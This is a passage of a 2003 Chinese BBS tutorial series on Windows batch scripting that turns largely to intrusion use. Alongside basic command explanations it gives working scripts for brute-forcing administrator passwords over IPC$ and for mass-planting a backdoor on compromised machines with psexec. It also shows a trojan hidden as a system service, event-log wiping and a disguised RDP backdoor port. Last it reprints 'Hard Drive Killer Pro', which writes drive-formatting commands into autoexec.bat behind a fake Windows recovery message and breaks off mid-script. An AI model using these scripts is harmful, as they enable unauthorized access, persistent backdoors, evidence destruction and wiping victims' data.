簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來
才會理解你的意圖啊。
4.Rem 命令
注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便于
別人閱讀和你自己日後修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁盤上的所有文件均復制到d:\back中。顯示的注釋提示您將另
一張磁盤放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁盤,然後按任意鍵繼
續處理。
6.Call 命令
從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作
調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:}[Path] FileName
指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。
7.start 命令
調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
入侵常用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先級類別開始應用程序
REALTIME 在 REALTIME 優先級類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。
如果在命令腳本內執行,該新行為則不會發生。
8.choice 命令
choice 使用此命令可以讓用戶輸入一個字符,從而運行不同的命令。使用時應該加/c:參數
,c:後應寫提示可輸入的字符,之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判
斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為en
d的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good by
e,文件結束。
9.If 命令
if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
1、if \參數\ == \字符串\ 待執行的命令
參數如果等于指定的字符串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號
)
如if \%1\==\a\ format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等于指定的數字,則條件成立,運行命令,否則運行下一句。
如if errorlevel 2 goto x2
DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼
為0、1。
10.for 命令
for 命令是一個比較復雜的命令,主要用于參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable
而不要用 %variable。變量名稱是區分大小寫的,所以 %i 不同于 %I
如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,則指定與目錄名匹配,而不與文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄,則使用當前
目錄。如果集僅為一個單點(.)字符,則枚舉該目錄樹。
FOR /L %variable IN (start,step,end) DO command [command-para
該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。
FOR /F [\options\] %variable IN (file-set) DO command
FOR /F [\options\] %variable IN (\string\) DO command
FOR /F [\options\] %variable IN (command) DO command
或者,如果有 usebackq 選項:
FOR /F [\options\] %variable IN (file-set) DO command
FOR /F [\options\] %variable IN (\string\) DO command
FOR /F [\options\] %variable IN (command) DO command
filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前,每份文件都已被打開、讀取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行
解析成零或更多的符號。然後用已找到的符號字符串變量值
調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 \options\
參數替代默認解析操作。這個帶引號的字符串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:
eol=c - 指一個行注釋字符的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變量名稱的
格式為一個范圍。通過 nth 符號指定 m
符號字符串中的最後一個字符星號,
那麼額外的變量將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字符串並且
引號字符為文字字符串命令並允許在 fi
中使用雙引號擴起文件名稱。
sample1:
FOR /F \eol=; tokens=2,3* delims=, \ %i in (myfile.txt) do command
會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將
每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或
空格定界符號。請注意,這個 for 程序體的語句引用 %i 來
取得第二個符號,引用 %j 來取得第三個符號,引用 %k
來取得第三個符號後的所有剩余符號。對于帶有空格的文件
名,您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號,您還需要使用 usebackq 選項,否則,雙引號會
被理解成是用作定義某個要分析的字符串的。
%i 專門在 for 語句中得到說明,%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號,只要不試圖說明一個高于字母 z 或
Z 的變量。請記住,FOR 變量是單一字母、分大小寫和全局的;
同時不能有 52 個以上都在使用中。
您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是,
用單引號將括號之間的 filenameset 括起來。這樣,該字符
串會被當作一個文件中的一個單一輸入行。
最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將
括號之間的 filenameset 變成一個反括字符串。該字符串會
被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進
內存,並被當作文件分析。因此,以下例子:
FOR /F \usebackq delims==\ %i IN (`set`) DO @echo %i
會枚舉當前環境中的環境變量名稱。
另外,FOR 變量參照的替換已被增強。您現在可以使用下列
選項語法:
~I - 刪除任何引號(\),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變量的目錄,並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變量
未被定義,或者沒有找到文件,此組合鍵會擴充
空字符串
可以組合修飾符來得到多重結果:
%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變量的目錄,並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR
在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變量名終止。選取類似 %I 的大寫變量名
比較易讀,而且避免與不分大小寫的組合鍵混淆。
以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。
sample2:
利用For命令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ \password\ /u:\administrator\來嘗試這和目標主機進行連接
,當成功時記下密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ \i%\ /u:\admini
strator\
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序
運行結果傳遞給find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ \i%%\ /u:\administrator\|find \:命
令成功完成\>>D:\ok.txt ,這樣就ko了。
sample3:
你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心
的一件事都會變得很鬱悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任
務。那麼如何實現呢?呵呵,看下去你就會明白了。
主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變量使用 %%variable)
@for /f \tokens=1,2,3 delims= \ %%i in (victim.txt) do start call door.bat %%i %
%j %%k
tokens的用法請參見上面的sample1,在這裡它表示按順序將victim.txt中的內容傳遞給doo
r.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,並copy木馬+後門到victim,然
後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指
定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這裡你也一定明白這victim
..txt裡的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip passw
ord username。
代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------
------------------
@echo off
@if \%1\==\\ goto usage
@for /f \tokens=1,2,3 delims= \ %%i in (victim.txt) do start call IPChack.bat %%
i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------
------------------
------------------- cut here then save as a batchfile(I call it door.bat) ------
-----------------------
@net use \\%1\ipc$ %3 /u:\%2\
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2
PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.t
xt
:failed
@echo Sorry can not connected to the victim.
------------------------
這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.
exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日志+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之
具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.
--
___|)_________|___________
|___/___|______|____
|__/|___|-.__,-|________
|_/(|,\_|/___`-'______
|_\_|_/__________
|
(_| 讓生命隨著這火紅的音樂而舞動吧!
文章出處:proxy.smth.edu.cn
發信人: duguK (一切隨緣), 信區: DOS
標 題: 簡明批處理教程-2
發信站: BBS 水木清華站 (Fri Dec 26 09:09:36 2003), 轉信
簡明批處理教程-2
No.2
二.如何在批處理文件中使用參數
批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種
情況並不多見,我們就不考慮它了。
sample1:fomat.bat
@echo off
if \%1\==\a\ format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用于連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,呵呵,
好像有點畫蛇添足了~^_^
sample2:
當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把
一些固定命令寫入一個批處理,把肉雞地ip password username 當著參數來賦給這個批處
理,這樣就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ \2%\ /u:\3%\ 注意哦,這裡PASSWORD是第二個參數。
@if errorlevel 1 echo connection failed
怎麼樣,使用參數還是比較簡單的吧?你這麼帥一定學會了^_^.No.3
三.如何使用組合命令(Compound Command)
1.&
Usage:第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時執行多條命令,而不管命令是否執行成功
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51
..
2002-05-14 23:51
...
2002-05-14 23:51 14 sometips.gif
2.&&
Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一
直沒有出錯則一直執行完所有命令;
Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.
C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:55
..
2002-05-14 23:55
...
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做備份的時候可能會用到這種命令會比較簡單,如:
dir file&#58//192.168.0.1/database/backup.mdb && copy file&#58//192.168.0.1/da
tabase/backup.mdb E:\backup
如果遠程服務器上存在backup.mdb文件,就執行copy命令,若不存在該文件則不執行copy命
令。這種用法可以替換IF exist了 :)
3.||
Usage:第一條命令 || 第二條命令 [|| 第三條命令...]
用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒
有出現正確的命令則一直執行完所有命令;
Sample:
C:\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
組合命令使用的例子:
sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2
PASS %3 >>victim.txt
--
___|)_________|___________
|__/|___|-.__,-|________
|_/(|,\_|/___`-'______
|_\_|_/__________
|
(_| 讓生命隨著這火紅的音樂而舞動吧!
文章出處:proxy.smth.edu.cn
發信人: duguK (一切隨緣), 信區: DOS
標 題: 簡明批處理教程-3
發信站: BBS 水木清華站 (Fri Dec 26 09:10:21 2003), 轉信
簡明批處理教程-3
No.4
四、管道命令的使用
1.| 命令
Usage:第一條命令 | 第二條命令 [| 第三條命令...]
將第一條命令的結果作為第二條命令的參數來使用,記得在unix中這種方式很常見。
sample:
time /t>>D:\IP.log
netstat -n -p tcp|find \:3389\>>D:\IP.log
start Explorer
看出來了麼?用于終端服務允許我們為用戶自定義起始的程序,來實現讓用戶運行下面這個
bat,以獲得登錄用戶的IP。
2.>、>>輸出重定向命令
將一條命令或某個程序輸出結果的重定向到特定文件中, > 與 >>的區別在于,>會清除調原
有文件中的內容後寫入指定文件,而>>只會追加內容到指定文件中,而不會改動其中的內容
。
sample1:
echo hello world>c:\hello.txt (stupid example?)
sample2:
時下DLL木馬盛行,我們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦袋往那裡
鑽,DLL馬也不例外,針對這一點我們可以在安裝好系統和必要的應用程序後,對該目錄下
的EXE和DLL文件作一個記錄:
運行CMD--轉換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,
日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了.
這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1
..txt中,然後運行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt
..(用FC命令比較前後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣我們就能發現
一些多出來的DLL和EXE文件,然後通過查看創建時間、版本、是否經過壓縮等就能夠比較容
易地判斷出是不是已經被DLL木馬光顧了。沒有是最好,如果有的話也不要直接DEL掉,先用
regsvr32 /u trojan.dll將後門DLL文件注銷掉,再把它移到回收站裡,若系統沒有異常反映
再將之徹底刪除或者提交給殺毒軟件公司。
3.< 、>& 、<&
< 從文件中而不是從鍵盤中讀入命令輸入。
>& 將一個句柄的輸出寫入到另一個句柄的輸入中。
<& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。
這些並不常用,也就不多做介紹。
No.5
五.如何用批處理文件來操作注冊表
在入侵過程中經常回操作注冊表的特定的鍵值來實現一定的目的,例如:為了達到隱藏後門
、木馬程序而刪除Run下殘余的鍵值。或者創建一個服務用以加載後門。當然我們也會修改
注冊表來加固系統或者改變系統的某個屬性,這些都需要我們對注冊表操作有一定的了解。
下面我們就先學習一下如何使用.REG文件來操作注冊表.(我們可以用批處理來生成一個REG
文件)
關于注冊表的操作,常見的是創建、修改、刪除。
1.創建
創建分為兩種,一種是創建子項(Subkey)
我們創建一個文件,內容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然後執行該腳本,你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下創建了一個名字
為“hacker”的子項。
另一種是創建一個項目名稱
那這種文件格式就是典型的文件格式,和你從注冊表中導出的文件格式一致,內容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
\Invader\=\Ex4rch\
\Door\=C:\\WINNT\\system32\\door.exe
\Autodos\=dword:02
這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about這三個項目
Invader的類型是“String &#118alue”
door的類型是“REG SZ &#118alue”
Autodos的類型是“DWORD &#118alue”
2.修改
修改相對來說比較簡單,只要把你需要修改的項目導出,然後用記事本進行修改,然後導入
(regedit /s)即可。
3.刪除
我們首先來說說刪除一個項目名稱,我們創建一個如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
\Ex4rch\=-
執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
的\Ex4rch\就被刪除了;
我們再看看刪除一個子項,我們創建一個如下的腳本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就
已經被刪除了。
相信看到這裡,.reg文件你基本已經掌握了。那麼現在的目標就是用批處理來創建特定內容
的.reg文件了,記得我們前面說道的利用重定向符號可以很容易地創建特定類型的文件。
samlpe1:如上面的那個例子,如想生成如下注冊表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
\Invader\=\Ex4rch\
\door\=hex:255
\Autodos\=dword:000000128
只需要這樣:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.
reg
@echo \Invader\=\Ex4rch\>>Sample.reg
@echo \door\=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo \Autodos\=dword:02>>Sample.reg
samlpe2:
我們現在在使用一些比較老的木馬時,可能會在注冊表的[HKEY_LOCAL_MACHINE\SOFTWARE\Mi
crosoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一個鍵值
用來實現木馬的自啟動.但是這樣很容易暴露木馬程序的路徑,從而導致木馬被查殺,相對地
若是將木馬程序注冊為系統服務則相對安全一些.下面以配置好地IRC木馬DSNX為例(名為win
drv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch
..dll
@echo \windsnx \=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver
binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [刪除DSNXDE在注冊表中的啟動項,用sc.exe將之注冊為系統關鍵性服務的同時將其屬
性設為隱藏和只讀,並config為自啟動]
@REM 這樣不是更安全^_^.
--
___|)_________|___________
|___/___|______|____
|__/|___|-.__,-|________
|_/(|,\_|/___`-'______
|_\_|_/__________
|
(_| 讓生命隨著這火紅的音樂而舞動吧!
文章出處:proxy.smth.edu.cn
發信人: duguK (一切隨緣), 信區: DOS
標 題: 簡明批處理教程-4
發信站: BBS 水木清華站 (Fri Dec 26 09:11:02 2003), 轉信
簡明批處理教程-4
No.6
六.精彩實例放送。
1.刪除win2k/xp系統默認共享的批處理
------------------------ cut here then save as .bat or .cmd file ---------------
------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\paramete
rs]>> c:\delshare.reg
echo \AutoShareWks\=dword:00000000>> c:\delshare.reg
echo \AutoShareServer\=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command int
o :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------
------------
2.全面加固系統(給肉雞打補丁)的批處理文件
------------------------ cut here then save as .bat or .cmd file ---------------
------------
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\paramet
ers] >>patch.dll
@echo \AutoShareServer\=dword:00000000 >>patch.dll
@echo \AutoShareWks\=dword:00000000 >>patch.dll
@REM [禁止共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll
@echo \restrictanonymous\=dword:00000001 >>patch.dll
@REM [禁止匿名登錄]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>
patch.dll
@echo \SMBDeviceEnabled\=dword:00000000 >>patch.dll
@REM [禁止及文件訪問和打印共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>p
atch.dll
@echo \Start\=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dl
l
@echo \Start\=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
>>patch.dll
@echo \ShutdownWithoutLogon\=\0\ >>patch.dll
@REM [禁止登錄前關機]
@echo \DontDisplayLastUserName\=\1\ >>patch.dll
@REM [禁止顯示前一個登錄用戶名稱]
@regedit /s patch.dll
------------------------ cut here then save as .bat or .cmd file ---------------
------------
下面命令是清除肉雞所有日志,禁止一些危險的服務,並修改肉雞的terminnal service留
跳後路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [刪除日志]
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危險的服務。]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinSt
ations\RDP-Tcp] >>patch.dll
@echo \PortNumber\=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\r
dpwd\Tds\tcp >>patch.dll
@echo \PortNumber\=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo \Start\=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch
..dll
@echo \Start\=dword:00000002 >>patch.dll
@echo \ErrorControl\=dword:00000001 >>patch.dll
@echo \ImagePath\=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6
f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65
,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00
>>patch.dll
@echo \ObjectName\=\LocalSystem\ >>patch.dll
@echo \Type\=dword:00000010 >>patch.dll
@echo \Description\=\Keep record of the program and windows message。\ >>patch.d
ll
@echo \DisplayName\=\Microsoft EventLog\ >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch
..dll
@echo \Start\=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改3389連接,端口為8210(十六進制為00002012),名稱為Microsoft EventLog,留
條後路]
3.Hard Drive Killer Pro Version 4.0(玩批處理到這個水平真的不容易了。)
------------------------ cut here then save as .bat or .cmd file ---------------
------------
@echo off
rem This program is dedecated to a very special person that does not want to be
named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about
how it
rem works, its d\*amn to complicated for the average or even the expert batch pr
ogrammer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find \Vol\ > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find \bytes\ > nul >{
t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - no
t ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find \ 0 bytes free\ > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. \enddc\ stands for \end dDRIVE cHECKING\
..
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your sys
tem . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\au
toexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your sys
tem . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.b
at
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your sys
tem . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
